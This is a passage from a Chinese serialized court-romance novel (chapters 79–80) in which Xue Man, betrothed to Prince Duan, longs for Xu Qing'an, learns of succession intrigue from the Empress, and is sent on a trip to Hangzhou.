你若在天有灵,便再保佑姐姐一回,助旭儿顺利登上?尊位。姐姐向你保证,阿满会得到举世无双的荣光,薛家更会名垂青史,屹立不倒。 第79章 第 79 章【双章】 正月初一, 又是忙到马不停蹄的一天。 薛满先去薛府向薛科诚拜年,又前?往宫中跟薛皇后?等共度佳节。在经过?一番热闹且隆重?的互换红封后?,薛满趁着旁人不注意, 悄悄塞给?裴茹楠一枚小匣子。 裴茹楠打开,见里面躺着一块温润无瑕的环纹玉佩, 背面刻着她的小名“宝”字。 薛满解释:“我也有类似的一块玉,常年戴在胸前?, 听说是我出生时, 我爹娘特意请人为我做的,想必是因为玉能?辟邪消灾。我知晓你肯定?不缺这个,但多一份心意,便?能?多保佑你一分。” “我没有。”裴茹楠扑进她怀里, 感动地道:“父王与母后?没有送过?我这个……阿满姑姑, 你对宝儿真好?,宝儿最喜欢你了!” 薛满打趣:“你要是喜欢, 每年我都?送你一块新的,到时候全部挂在脖子上,逢人便?说阿满姑姑最好?, 将我的好?传得人尽皆知。” 裴茹楠天真道:“人人都?知道你好?, 岂非人人都?想娶你为妻?到时候三皇叔要夜不能?寐了!” “你们在说什?么悄悄话?”裴长旭走近,佯怒道:“今日是新年,不准说我坏话, 只许说好?话。” 裴茹楠不设防,“我在说阿满姑姑人美心善, 定?有许多人抢着要娶她……” “好?了, 宝儿。”薛满及时打断她,“快去找你母妃, 免得她待会儿着急寻你。” “母妃才不会着急,她眼里只有父王……”虽嘟嘟囔囔,宝儿仍听话地离开。 薛满收起?笑容,听裴长旭道:“阿满,你向来喜欢宝儿。” 薛满退后?一步,拉开距离道:“宝儿聪明伶俐,我当然喜欢。” “将来你我的孩子会更加聪明伶俐。” “……”大过?年的,能?少说话,少给?人添堵吗? “阿满喜欢男孩儿还是女?孩儿?” 薛满抛弃贵女?修养,不客气地翻个白眼:她喜欢他闭嘴,走远点,解除婚约! 裴长旭锲而不舍,“我希望第一个能?是像你的女?孩儿,我会亲自教她读书写字,带她骑马射箭……” 薛满干脆往前?走,当耳边是尊贵的苍蝇嗡嗡在叫。 裴长旭乐意见到她的恼怒,万般情绪,唯有平静能?叫他寒意侵骨。只要阿满还肯对他发脾气,便?证明他仍有影响她的能?力。 能?影响便?好?。 他知晓前?段时间,阿满换了门卫后?,一直跟许清桉暗中书信往来。换做旁的女?子,他会严密布控,监视对方的一言一行……不,换做旁的女?子,他定?第一时间解除婚约,顺便?叫那两人痛不欲生。 阿满不是旁的女?子,她是他珍视的宝贝,更何况是他有错在先。 裴长旭对薛满万般包容,对许清桉除去厌恶,剩余的便?是莫可名状。他曾真切地欣赏对方,认为对方大有可为,而今,这份大有可为却叫他骑虎难下。 十日前?,许清桉明面上受父皇之令离开京城,前?往阜安府处理急事,实则是掩人耳目,等待半个月后?与他会合前?往兰塬。在此期间,裴长旭必须放下芥蒂,待查清求香畔背后?的靠山后?,再请父皇将许清桉调离京城。 薛满对裴长旭的盘算一无所知,亦对许清桉的离京毫无所察。她以为许清桉冷酷无情,单方面终止了这段主仆之情。 忘恩负义的家?伙,忘了是谁给?他炖猪肺汤、剥卢橘、绣荷包吗!即便?她做得不是顶好?,却也花费了无数心血和时间! 薛满由失落转变为怒火中烧,过?得大半日,脑中忽地灵光一现,提前?跟薛皇后?等人道别。 “姑母,我想再去老宅陪伴祖父。”她的理由冠冕堂皇,“祖父年事已高,一人待在家?中未免冷清,我想去陪他用个晚膳,再在老宅住上一晚。” 裴唯宁忙道:“母后?,我也要去!” 不等薛皇后?拒绝,薛满便?道:“小宁,你是公主,公主是皇家?人。” 这句话歪打正着,说到了皇后?的心坎上。景帝最近因张家?之事,对外戚多有忌惮,再往前?多年,教训更是历历在目。 她道:“小宁,往后?不许你随意出宫胡闹。” 裴唯宁想争辩,被裴长旭拦住,“儿臣会多加管教小宁。” 裴唯宁不能?去,裴长旭更是不能?,薛满如?愿脱身,迫不及待地回到薛府。 她刚进房便?翻箱倒柜,明荟问:“小姐,您在找什?么东西,跟奴婢说便?好?。” 薛满道:“我要找一个红色匣子,没有任何花纹,重?量很轻,我记得是压在哪个箱子底下……” 明荟准确地指向一只箱子,“小姐,奴婢记得在这里,您让让,奴婢马上帮您取出来。” 薛满站在一旁盯着,果?然见明荟翻出了红匣子,开心地道:“你是个好婢女?,去库房领赏吧!” 明荟见她久违的心情好,大着胆子问:“小姐,这里头装着什?么东西,能?叫您这么开心?” 薛满沉下俏脸,“我开心吗?不,我不开心。我殚精竭虑,帮许清桉一跃三级,还帮他保管父亲的遗物,他却无情无义,用完变扔,枉为大丈夫!” “那,那您要跟他断绝来往?” “不,我要去找他,让他当面向我赔礼道歉!” 明荟一时笑主子的孩子气,一时又担心主子会吃闭门羹,毕竟那位俊美的世子爷,看起?来并不和蔼可亲…… 不管怎样,云飞驾车来到恒安侯府门前?,独身去敲门。 侯府门卫问:“来者?何人,大过?年的有何要事上门?” 云飞递出一小袋碎银,道:“我叫云飞,我家?主子是恒安侯世子的熟人,有急事想请对方见一面,还请大哥通报一声。” 门外接过?碎银,笑道:“小事一桩,你等着,我这就去传话。” 过?了半刻钟,有人步伐矫健地出了大门,往左右一扫,便?锁定?角落里的白马素车。 她连忙上前?,隔着帘子喊道:“属下苏合,见过?阿满姑娘。” 车内传来薛满的声音,故作镇定?又难掩怒意,“他好?大的架子,连见面都?叫你来代劳!” “不不不,您误会了世子。”苏合忙道:“世子并不在京中。” 车内一静,薛满掀开帘子,露出裹在雪白狐裘里,俏丽娇嫩的脸庞,“他去了哪里?” 苏合道:“十日前?,世子接到圣上的命令,命他即刻前?往阜安府去处理急事,世子只跟老侯爷通了声气,便?连夜带上空青、卷柏出发。” “去了阜安府何地,处理什?么急事?” “阜安府云县,当地知县无端失踪,又恰逢雪灾,圣上便?派世子前?去查明真相,顺便?处理灾情。” “俊生呢,他去了没?” “没有,世子念及俊生尚小,特许他留在京中跟家?人一起?过?年,等正月十五后?再做打算。” 他想得真周到,能?与讨厌的老侯爷道别,考虑俊生年幼要过?年,独独忘了她的存在。 枉她每日脑子里装的全是他! 薛满抬起?下巴,不愿流露丁点脆弱,“我知道了,我今日来也没旁的事,只是想转交下前?世子的遗物。” 她将红匣子递给?苏合,苏合不肯收,“前?世子是瑞清院的禁忌,除去阿满小姐,无人敢在世子面前?提及,还请您改日再来一趟,亲手转交给?世子。” 薛满面无表情,“我以后?不会再来了,你若不收,我便?扔了它。” 苏合笑了笑,因是过?年,她今日未着劲装,穿了件寻常女?子的宽袖锦裙。她从袖中取出一只长窄的盒子,递到薛满眼前?,“世子离开前?曾吩咐属下,若阿满姑娘前?来,便?将此新年礼物转交给?你。” 薛满道:“我不稀罕。” 话毕,她放下帘子,正要叫云飞赶车时,苏合在外头道:“世子说,在您未想清楚前?,他绝不会主动去烦扰您。但您若是来了,便?证明您心里有他。” 薛满哼了一声,她心里不止有他,还有瑞清院的五只乌龟,池子里的一十八条金鱼! “阿满姑娘,这是世子头一回送人礼物,您即便?不喜欢,打开看看也成。” 薛满可耻的心软且好?奇,许清桉会送出什?么样的新年礼物? 经过?短暂挣扎,她勉为其难地道:“好?吧,我便?给?你个面子。” 她接过?长盒子,又给?了十余个红封,随后?回到薛府,遣散婢女?后?,独自打开新年礼物。 嗯,里面是一枚精致的珍珠樱花流苏银簪。 薛满感慨他与前?世子父子连心,竟连送礼都?能?送到一块去。 很快她又发现盒子里的机关?:下头竟还藏着隔层! 打开隔层,薛满见到了一样眼熟的东西:袖里箭。 比起?许清桉的那枚,眼前?的袖里箭通体泛着银光,约莫她一掌的长度,更精致玲珑,也更适应女?子的袖腕,显然是定?制而为。 盒中附有袖里箭的使用说明,薛满忍不住取来窗台上的花瓶,对着花枝射了两箭——哇,操作简单,箭矢锐利,配上她百发百中的投壶技巧,即便?上阵杀敌也够用。 哼,算许清桉花了巧思! 她收好?袖里箭,又美滋滋地戴上发簪,对镜照了许久,直到明荟在外间:“小姐,您今日还要去老宅吗?” 要去的,她对薛皇后?说的话不掺假,祖父一个人过?年肯定?冷清。 去往薛家?老宅的途中,薛满靠在车壁,抱着软枕,心里充满惆怅。她有姑母、小宁,有祖父陪着热闹过?年,但少爷人在他乡,有没有穿新衣?有没有准备丰盛的饭菜?有没有放鞭炮,看烟火,与人分享新年的期许? 那句在有璟阁被咽回去的话,重?新盘桓在嘴边。 她想他了,很想很想。 想给?他看新做的衣裳,想给?他看新点的胭脂,想给?他看戴上发簪的模样。 * 正月初三,裴唯宁约薛满到街上逛街,薛满打起?精神应约,成日关?在府中胡思乱想总不是事。 她们先去逛了云澜书局,裴唯宁热情地推荐最近看的话本子,是薛满从前?爱看的类型,如?今却兴致缺缺。 最后?,裴唯宁挑了十几册话本子,薛满则选了几本游记,收获颇丰地前?往近水楼用膳。 近水楼的生意好?,正月亦不例外。裴唯宁差人订好?雅间,到了便?能?直接上楼。 姐妹俩难得没有戴幕篱,花容月貌惹起?不少人的注目,其中便?包括大堂里的凌家?兄妹。 “那是……那是许大人的婢女?阿满?”凌峰迟疑地道。 凌娟目不转睛地盯着那名面熟的少女?,虽只见过?一次,却叫她印象深刻。 凌峰一连三问:“她为何会出现在这里?她身边的那位小姐是谁?她抛弃世子攀上更高的枝头了?” 凌娟闻言蹙眉,“大哥慎言!” 她并未告知兄长那晚在近水楼发生的事,这位气质出众的失忆婢女?,身份显然大有来头。否则端王怎会为她出头,更派人警告所有在场者?,若有人敢泄露当晚的事情,他不介意京城少几户无足轻重?的人家?。 对了,还有那位明艳的红衣少女?,初时凌娟只觉得眼熟,回府却想到一人,她曾在两年前?的万寿宴见过?一面——当今皇后?所出的合宜公主。 凌娟比兄长更有脑子,稍加猜测,脑中便?浮现一人。众所周知,端王与表妹薛小姐有婚约,薛小姐与合宜公主姐妹情深,而从时间推算,薛小姐生病的时间与婢女?阿满出现的时间高度重?合…… 某些答案呼之欲出,凌娟却没有任何兴风作浪的念头,首先是她招惹不起?,何必不自量力,再有,薛小姐从未得罪过?她。 世子不喜欢她,从来与旁人无关?。 凌娟黯然敛眸,凌峰见状,立刻道:“这等攀附权贵的虚荣女?子,我必不能?叫她——” “大哥!”凌娟冷脸道:“你若是真为我好?,往后?便?修身养性,谨言慎行,省得一把年纪了还只是个八品书吏!” 凌峰脸色涨红,被妹妹骂得哑口无言。谁人不知凌家?女?儿学问好?,相比之下,凌峰才学普通,私下全靠妹妹出谋划策,才能?榜上有名,顺利进入都?察院当差。今年初,他好?不容易争取到与许大人南巡的机会,可屡次三番得罪那婢女?,导致回京后?银枭队都?得了奖赏,他却依旧寂寂无闻。 他不敢反驳妹妹,偃旗息鼓道:“我知晓了,以后?不会评论她半个字。” 凌娟松了口气,眼看那边的两位贵女?要上楼,忽然薛满侧首,对上了她的视线。 她朝凌娟轻轻颔首,凌娟一愣,随即生出一股冲动。 “阿满姑娘,请留步!” 薛满对小凌姑娘的印象不错,她可是得过?圣上夸赞的真才女?。 等凌娟走到面前?,她问道:“小凌姑娘,有事吗?” “有。”凌姑娘顶着合宜公主凌厉地审视,和善地道:“我有几句话想和你说,不知你方不方便??” 裴唯宁认出这位小凌姑娘,正是那晚跟许清桉会面的女?子,简而言之,她是阿满的情敌! 她顿时不豫,“阿满没空。” 薛满道:“我有空。” 裴唯宁不依,“阿满,你是来陪我吃饭的,干吗要理不相干的人?” 薛满道:“说几句话而已,不会耽搁很久,你先去雅间坐会,我马上来找你。” 她三言两语安抚好?裴唯宁,又在隔壁要了小雅间,与凌娟进去说话,婢女?护卫们则在外头守着。 凌娟先开口:“阿满姑娘,我大哥先前?对你多有不敬,在此我代他向你真诚道歉。” 薛满道:“你们真是亲兄妹?” 凌娟道:“毋庸置疑,同?父同?母的亲兄妹。” 薛满直言:“你长得比他好?看,脑子也比他灵活。” 凌娟失笑,“大哥长相随父亲,我则随了母亲,至于脑子……我大哥的确顽固不化。” 薛满道:“以你的才学情商,若是男子,肯定?比他更有前?途。” 凌娟道:“不瞒你说,我正有报考女?官的想法,可惜我父母催着我成亲,不愿我进入官场。” 薛满道:“当女?官便?不能?成亲吗?” 凌娟道:“世人对女?子多有苛刻,女?官入朝做事,便?不能?兼顾后?宅,是以,多数女?官终身不婚。” 薛满惊讶,“那你打定?主意不嫁人了?” 凌娟苦笑,“与其盲婚哑嫁,蹉跎余生,倒不如?做点力所能?及的事情。” 说到这,薛满无可避免地想到许清桉。换作往常,她定?会不遗余力地撮合他们,但她如?今心境有变,那些话再也说不出口。 凌娟看出她的纠结,主动道:“阿满姑娘,你想知道那晚世子跟我聊了什?么吗?” 薛满摇摇头,又点点头,“你若是肯说,我便?听着。” 凌娟没有卖关?子,“我爱慕世子许久,那晚并非偶遇,而是特意跟你们进的近水楼,想跟世子独处说话。多亏阿满姑娘成全,我才有向世子倾诉衷肠的机会,奈何世子对我无意,干脆利落地拒绝了我。” 薛满不知该说什?么,安慰她,或者?痛骂许清桉几句? 凌娟继续道:“当时我不甘心,便?问世子,是否因为姑娘才拒绝的我?世子言明,即便?没有姑娘,他依旧对我无意,一辈子都?无意。” 薛满忍不住帮许清桉说话,“你别误会,他说话向来直接,面对老侯爷是也这般,没有针对你的意思。” 凌娟点头,“世子行事随心,待人惯来懒怠,天底下唯有一人能?叫他有求必应。” 薛满沉默,非常沉默。 凌娟叹道:“阿满姑娘,像世子这样的人,不动心则已,一动心便?再难回头,还望你珍惜他的一片真情。” 与凌娟分别后?,薛满回到隔壁雅间,裴唯宁迫不及待地问:“她和你说了什?么?有没有欺负你?需不需要我帮你出气?” 薛满啼笑皆非,“你想多了,小凌姑娘是正经的才女?,并非勾心斗角之辈。” 裴唯宁撇嘴,“谁说才女?便?不会勾心斗角?但凡是……” 薛满问:“但凡是什?么?” 但凡是情敌,便?没有能?好?好?说话的。 裴唯宁顾忌她脸皮薄,没有说下面的话,“没什?么,她没冒犯你便?好?,你们都?聊了哪些?” 薛满有所隐瞒,“哦,小凌姑娘说想考女?官。” 裴唯宁挑眉,“女?官?她倒是志向远大。” 薛满道:“你别小看她,她的才学可得到过?圣上赞誉。” 裴唯宁不以为然,“得到我父皇夸赞的人多了去了。” 薛满问:“其中女?子有几名?” 裴唯宁张了张嘴,呃,好?像是没几名女?子。 薛满道:“你不知晓,之前?在衡州时,南巡的书吏因病还未抵达,我便?想帮着少爷一起?核对账本。但衙门里的老师爷很是鄙夷,称没有女?子出入衙门的先例,被我狠狠反驳了一顿。” 裴唯宁冷笑,“一个师爷也敢教训你?等我告诉三哥,叫他派人去教训那老头一顿。” 薛满扶额,“你放错了重?点,我意思是若有更多的女?子入朝当官,假以时日,咱们女?子便?能?多条出路,不再是到了年纪只能?嫁人生子。” 裴唯宁认真想了想,咦,说得挺有道理,若女?子当官能?稀松平常,豢养男宠也并非幻想! “行吧,那我到时候看看能?否帮她一把,也算是为民做件好?事。” 薛满拍拍她的头顶,“七公主深明大义,实乃女?子楷模。” 裴唯宁被夸得飘飘然,阿满好?久没这么夸她了,真好?,阿满一点都?没变! 她没注意到,薛满笑容微敛,神色恍恍惚惚。 前?有明艳动人的宝姝示好?,后?有才学斐然的小凌姑娘表白,少爷均是无动于衷,吝啬给?对方任何眼神。唯独面对她时,少爷会笑会怒,会拭去她的泪水,给?她独一无二的温柔。 她的思念日渐加重?,想抛下一切去寻他,再也不跟他分离。 但她不能?,她身后?有薛家?,有姑母,有无数双眼睛盯着……她只能?耐心等待,等待他平安归来。 …… 正在薛满按捺住任性妄为的念头时,裴长旭带来了一个晴天霹雳的消息。 “你说什?么?”薛满几乎从椅子里跳起?身,“圣上叫我与你一起?去江南度假?” “是。”裴长旭道:“父皇念你大病初愈,许我带你去江南养病散心。” 薛满一口回绝,“我不去。” 裴长旭道:“阿满,这是父皇的金口玉言,换句话说,我们没有拒绝的机会。” “圣上日理万机,哪有空管我们的闲事?裴长旭,你休想推卸责任。” “你这次真误会了我。”裴长旭道:“不信你可以问母后?。” 问就问! 薛满当机立断进宫,向薛皇后?求证此事的真假。 薛皇后?道:“阿满,圣上今早朝会时,当着文武百官的面称旭儿最近辛苦,特许他三个月的假期,带你去江南养病散心。” 薛满瞪圆眼睛,这简直不可理喻! 她跪到地上,郑重?地磕头,“姑母,阿满不愿意离开京城,还请您劝圣上收回成命。” “劝?”薛皇后?目光深幽,“阿满,你可知那是一国?之君,是至高无上的帝王,无人能?反抗他做出的决定?。” “可您是他的妻子。” “不,本宫不是圣上的妻子,本宫是一国?之母,是他选中的后?宫之主。” 薛满心神震撼,忍不住抬头看她。 薛皇后?一脸平静,“本宫帮不了你。” “姑母。”薛满眼眶泛红,“一别三月,阿满舍不得您。” 薛皇后?俯视座下的少女?,眉目如?画的一张面庞,像极了记忆中的母亲,也隐约有几分修弟的模样。 她招手,“阿满,你来。” 薛满起?身上前?,牵住她的手,轻摇着撒娇,“姑母,我好?不容易回到京城,再也不想离开亲人们了。” 薛皇后?话中有话,“是不想离开亲人,还是另有他人?” 薛满的动作一停,“我……自然是不想离开亲人们。” 薛皇后?拍拍她的手背,说出的话却叫薛满如?堕冰窖。 她道:“阿满,许清桉不可以。” 薛满应该反驳,撇清她与许清桉的关?系,阐明她对裴长旭的忠心,这是她身为端王未婚妻该有的素养。 但她问的是,“为何?” “你还小,不能?理解这世间真实的面貌。”薛皇后?不见怒意,眼中依旧布满疼爱,“光有感情并不足以抵御一切,更何况,你与他算不得真感情,只是短暂相依后?产生的错觉罢了。” “姑母不是我,怎么能?肯定?那是错觉,而不是真切的感情?”薛满执拗道:“我与许清桉患难与共……” “你与旭儿也曾患难与共。”薛皇后?道:“八年前?,你与旭儿外出踏青,不小心落入歹人手中。你们被囚禁在人迹罕至的山洞里,彼此鼓励,彼此依赖,携手逃出山洞,却又迷失在森林里,被那伙歹人重?新捉住。” 薛满轻咬唇瓣,不愿勾勒她说的那些画面。 薛皇后?道:“在你们命悬一线之际,本宫的弟弟,也就是你父亲及时赶到。他奋力拼杀出一条血路,救出了你和旭儿,却因伤势过?重?当场身亡。” 薛满闭上眼,仿佛再次见到梦中那高大伟岸的浴血身影,他叫喊着让她离开,用生命换取了她的安全。 心痛的人又何止薛满? 薛皇后?罕见地流露悲伤,她的修弟,她唯一的弟弟……“从那时起?,本宫便?发誓要代替你父亲照顾你,保你富贵荣华,保你平安喜乐。” “姑母以为的平安喜乐,便?是嫁给?端王,成为您的儿媳。”薛满带上哭腔,“倘若我不愿意呢?” 薛皇后?轻抚她的发顶,“傻孩子,你早早没了母亲,无人教你许多道理。女?子生来多情,最是忌讳感性用事。本宫以过?来人的身份告诉你,比起?虚无缥缈的感情,权势更使人坚而不摧。” “我不想要权势!” “没了权势,恒安侯府如?何立足,薛家?如?何长盛不衰,本宫如?何母仪天下?”薛皇后?停顿一瞬,意味深长,“旭儿又如?何韬光养晦,谋求来日成事?” 薛满眸光凝滞,随即掀起?滔天巨浪,姑母话里的意思是……裴长旭他竟! “姑母。”她握紧薛皇后?的手,难以置信地道:“东宫已经有了主人!” 薛皇后?早已遣散宫人,殿内只剩姑侄俩说话,“东宫不属于某个人,只属于大周的储君。” 薛满想到温厚和善的太子,聪明可爱的宝儿,刚出生不久的兜儿……如?若改立储君,他们的处境可想而知。 她松开牵着薛皇后?的手,薛皇后?却反手紧紧握住。 “阿满,你要记住,你是薛家?人,身上流着薛家?的血。”薛皇后?道:“自古以来,成王败寇,唯有强者?能?留到最后?。旭儿一直与世无争,将太子当作亲生兄长那般尊敬,可惜太子的舅舅在边境作乱,连累得太子失去君心。圣上有意提拔旭儿,旭儿又为何不能?一试?难道非要旭儿视皇位如?粪土,才能?显出他的善良,成为皇室里出淤泥而不染的一朵青莲?” 不。 薛满明白追名逐利是人的天性,若太子真被景帝厌弃,即便?裴长旭不愿意,也会被朝臣们推上那个位置。他聪慧谦雅,能?文能?武,生母是当今皇后?,没人比他更合适接替太子之位。 她忽然想到一件可怕的事,假使裴长旭当上太子,将来便?是皇帝,那她呢,身为端王未婚妻的她会怎么样? 薛皇后?似是看出她的担忧,充满诱惑地低语:“阿满,坐到最高处,才能?欣赏到世间最好?的风景。” “姑母,我不想要最高和最好?的风景,我只想……” “休要再提许清桉。”薛皇后?恼她的不开窍,“一个生母不详之人,哪里比得上旭儿?” “自然是因为他足够好?。”薛满想,否则您怎会想让他当驸马? 说到驸马,薛满难免猜测:“是小宁跟您说了我和许清桉的事吗?” “她那性子,一心想替你隐瞒,反倒叫本宫看出了端倪。”薛皇后?道:“你们一个个的,都?不让本宫省心。” 薛满不放弃恳求:“姑母,今日我们既敞开心扉说话,何不将事情变得简洁明了?表哥若真当上皇帝,后?宫会有佳丽三千,而我绝不能?接受夫君三妻四妾。难道您要眼睁睁见我与他成为一对怨侣,今后?两看相厌吗?” 这番话叫薛皇后?眸光明了又灭,记忆中,有一人便?是奢求帝王的独宠,最后?被人钻了空子,落得香消玉殒的下场。 “往后?的事情,往后?再说。”薛皇后?道:“本宫亦是你的亲姑母,不会只偏袒旭儿而委屈你。” 薛满心神微定?,又听她道:“但此番江南之行,你非去不可。” 薛皇后?一锤定?音,决定?了薛满的江南之行,终点正是大名鼎鼎的杭州府。 杭州富庶,风景优美,碧水绕岸,历来受文人墨客们的推崇。白居易为它赋诗数首,苏轼更写出“欲把西湖比西子,淡妆浓抹总相宜”这等佳句,赞扬它的旖旎风光。 若换个时间,换人作陪,薛满十分乐意去杭州游玩,但与裴长旭一起??尤其在得知对方可能?对太子取而代之后?,薛满称得上是心急如?焚。 少爷还没回京城,她便?要跟裴长旭一起?去江南,并且一去三个月……薛满掰掰手指,他们起?码三个半月不能?见面。 足足一百零五天,焉知中间会发生些什?么?万一少爷带回新的婢女?,跟对方产生深厚情谊呢? 糟糕,非常糟糕。 薛满坐立难安,奈何皇命不可违抗,她在万般的不情愿中收拾好?行囊,带上奴仆,与裴长旭坐船前?往杭州。 端王出行,坐的自是皇家?船舶,只见它高桅扬帆,气势磅礴,在江中劈风斩浪,踏水而行。 船上的东西一应俱全,手艺高超的厨子、吹拉弹奏的优伶、琳琅满目的游乐室,足以保证此趟行程不会无趣。 薛满却对这些毫无兴致,三番两次询问明荟,“你确定?将信送到恒安侯府了?” 明荟道:“奴婢亲手交给?的苏合姑娘,保证信件能?送到世子爷手中。” 薛满安了心,脱力般躺回软塌,“那就好?。” 明荟轻叹口气,上船已有两日,小姐吃饭洗漱皆在舱室,一步都?不肯出去。端王殿下准备了那么些好?玩、好?吃的,甚至特意请戏班随行,但小姐一门心思记挂恒安侯世子。 她不由感叹天道轮回,从前?殿下与江诗韵给?小姐添了一道不可磨灭的疤痕,而短短一年不到,小姐便?断情决意,轮到殿下求而不得。 总之,小姐开心便?好?。 明荟打开一条窗缝,往炉子里添上炭火,问道:“小姐,您在船舱待了两日,可想去甲板上走走?” 薛满闭眼假寐,脑袋晕晕乎乎,“不想去,舱里暖和。” 明荟说道:“舱里是暖和,但奴婢听关?太医的徒弟泰酉说,长时间受炭热,人容易困乏无力,神志不清,到时候非得病倒不可。” ……完了,她已经困乏无力,神志不清了。 薛满不想生病,万般抱负,唯有身体健康才能?够施展。她睁开眼问:“端王在哪?” 明荟会心一笑,“奴婢刚去打探过?了,殿下正在二楼听曲看戏,起?码半个时辰才结束。” “他倒是会享受。”薛满坐起?身,由明荟替她整理发髻,“那些唱歌跳舞的伎人里有没有颜色好?的,跟端王殿下眉来眼去的?” 但凡有半个……哼哼,她便?一状告到祖父、姑母面前?,非逼得他退婚不可。 明荟却道:“端王殿下一直洁身自好?,从无女?色缠身。” 薛满凉凉道:“那跟江诗韵纠缠不休的人是谁?” 明荟尴尬道:“是奴婢说岔了,但也只有江诗韵一个。” 薛满纠正:“错,是两个,你忘了江诗韵的妹妹。” 明荟道:“她们姐妹共用一张脸,由此说来,殿下真心记挂的人仍是江诗韵。” 她小心觑着薛满的脸色,见对方满不在乎,“随便?姐姐还是妹妹,总之是他的天假良缘。” 明荟顺势问道:“那小姐的天假良缘会是谁?” 薛满下意识地道:“世上若真有天假良缘,我自是和……” 和谁? 明荟静悄悄地等她说完。 薛满陡然收声,那三个字却在心尖悸动,久久无法平息。 第80章 第 80 章 薛满穿上斗篷, 戴着兜帽,到甲板上倚着栏杆吹了会风,神志果然清醒不少。 江风刺骨, 空气?冷冽,她吐出一口?气?, 立刻化为白雾消散。 真冷。 她袖中揣着暖炉,本想待会便走, 但?面?对广阔平静的江面?, 思?绪不由蔓延。 这次没有胡思?乱想,而是郑重其事?。 据薛皇后所?言,太子的舅舅在?边境犯了事?,连累太子失去圣心, 更有可?能被逐出东宫。无?独有偶, 向来受宠的张贵妃与其子康王,也因石窟祈福一事?, 彻底被景帝厌弃。 剩余的皇子中,能抗衡太子的名?正言顺,又能超越康王受宠之人, 除去裴长旭不作他想。 薛皇后能向她阐明局势, 便证明此事?十有八九,皇室的动荡迫在?眉睫。 既是这般要紧的关头,景帝为何会命裴长旭离京, 为儿女私情前往江南游玩?更何况,一走便长达三月。 三个月, 足够有心人做许多有心事?。 薛满蹙眉, 忽地茅塞顿开:或许,裴长旭才是那名?有心之人。景帝成全端王一片真情的同时, 亦能掩人耳目,派裴长旭秘密行事?! 难怪景帝在?早朝时说出此事?,难怪薛皇后吐露内情,不许她畏葸不前,皆因他们有更大的谋算。 涉及储君之位的大谋算。 薛满一时松口?气?:裴长旭若有皇命在?身,便不会真与她朝夕相处三个月,极有可?能抵达杭州府后便李代?桃僵,对外塑造他未离开的假象便好。 一时又提心吊胆:若裴长旭顺利完成皇命,对太子取而代?之,他们的婚约岂非解除无?望? 回顾祖父和姑母的口?风,他们并没有严词拒绝她的恳求,唯有裴长旭,罪魁祸首裴长旭…… 薛满咬牙:要怎么做,才能既不耽搁裴长旭的正事?,又能使他主动解除婚约? 都?怪那个江诗韵,为何要早死,平安活到一百岁多好。 她生气?地捶向栏杆,意料中的疼痛却不曾袭来。裴长旭不知何时走到她身旁,探掌接住她的怒火,顺势轻柔地包裹。 “阿满……” “作甚!” 薛满用?力地抽回手,瞪向明荟:不是说他在?听曲看戏吗? 明荟垮着一张脸,她是亲自去的二楼打探,殿下明明刚点了一出戏开唱呢! 裴长旭仿佛见不到这对主仆的眉来眼去,笑道?:“成日待在?船舱多无?趣,二楼有游乐室,里头有许多新鲜玩意儿,我领你去看看可?好?” 薛满仰起小脸,斗篷上的兜帽便半遮眼睛,使她凌厉的语气?增添几分娇憨,“不去!” “我准备的全是你喜欢的,有投壶、套圈、陀螺、六博,还有一只可?爱的狮子猫。” 她心情差,说出的话便不留情面?,“你当我是三岁孩童,会喜欢这些幼稚的玩意儿?不如将这些把戏留给江家妹妹,想必便是斗草,她也能配合你玩上半月。” 裴长旭面?不改色,无?视她的刻意挤兑,“那你说说,你与许清桉在?一起时都?做什么?” “……” “你告诉我,我便努力去学。” “……” 薛满觉得面?前心平气?和的裴长旭,比万寿节那晚发疯的端王更可?怕。该有多强大的心理,能叫他认真说出以上那番话? “你……”她踌躇着问:“你不想打我吗?” 裴长旭失笑,“打你作甚?” 薛满道?:“我与失忆前判若两人,据说从?前的薛小姐乖巧伶俐,善解人意。而我呢,你也看到了,我尖酸刻薄,总爱戳你的心窝子。” “你也知晓在?戳我的心窝子?” “那当然。”薛满大言不惭,“我故意的。” 裴长旭闷笑几声,又藏些许怅然,“你以为我只喜欢你的乖巧伶俐?” 薛满一脸“不然呢”? 裴长旭提了提她的兜帽,使她露出明亮狡黠的一双眸,“喜欢一个人,自是喜欢她的所?有。无?论你乖巧或尖牙利嘴,俱是我的心头所?好。” 薛满不领情,“你的心头最好有半个京城那么大,以免装不下将来要进驻的女子。” 裴长旭何等敏锐,一猜便知薛皇后透露了口?风,“母后在?后宫浸染多年,难免当局者迷,阿满,你莫要被她带偏。” 薛满往后看了一眼,见明荟等人已经退远,便开门见山地道?:“你意思?是,你无?意跟太子争抢东宫?” 裴长旭讶异她的直言不讳,在?他看来,她该与唯宁一般少不更事?。他生出一丝欣慰,阿满在?成长,过不了多久,便能成为与他携手并肩的王妃。 他喜爱阿满的天真娇俏,也乐于欣赏她的茁壮成长。 他道?:“是,我从未想过要当太子。” 薛满狐疑,“当真?” 裴长旭道:“千真万确。” 薛满道?:“但?姑母说,太子被其舅舅牵累,失去了圣上的青睐。” 裴长旭道?:“母后所?言不假,然而父皇与前皇后伉俪情深,太子身为嫡出长子,与父皇的情分非同一般。假使太子清清白白,对广阑王大义灭亲,父皇未必不会回心转意。” 薛满一听,咦,句句在?理! 裴长旭道?:“自古以来,君心难测,与其揣摩些莫须有的事?情,倒不如恪尽职守,顺其自然。” 薛满问:“那万一,我是说万一,圣上封你做新太子呢?” 裴长旭道?:“阿满怕我与太子一样,会纳许多侧妃与良娣。” “你似乎对我有误解,很深的误解。”薛满认真道?:“我不是薛小姐,对你没有青梅竹马的情谊,若你能纳三妻四妾,拥后宫三千佳丽,对我而言再好不过。” 或许初时重逢,她心底仍有残余的悲楚。但?在?得知他与江诗韵的往事?后,她便代?替薛小姐放下执念,放弃了属于青梅竹马的那段过去。 她会比薛小姐更加勇敢果断。 裴长旭顾自道?:“你从?前喜欢看话本子,总向往书中的一生一世一双人。过去我走了岔路,往后绝不会重蹈覆辙。” 哇,他好像听不懂人话。 薛满不想浪费口?舌,掩唇打了个哈欠,“我要去午休,端王殿下请自便。” 裴长旭道?:“关太医的徒弟给你熬了药,你喝完再休息。” 关太医离不开京,派了小徒弟随行照料,带上的药材足有两大箱子。 薛满皱起脸,“那药苦得要死,却没有任何功效,关太医到底有没有真本事??” 关太医当然有真本事?,但?遇上这等顽固不配合的患者,他便是华佗再世也束手无?策。 裴长旭站到她身后,遮去大半的江风,“我准备了各式各样的蜜饯,你喝几口?便吃一颗,能解去大半的苦味。” 薛满道?:“吃得苦中苦,方为人上人,苦药而已,我阿满有何惧之。”大不了偷偷倒掉,反正开窗就是江,毁药灭迹最是方便。 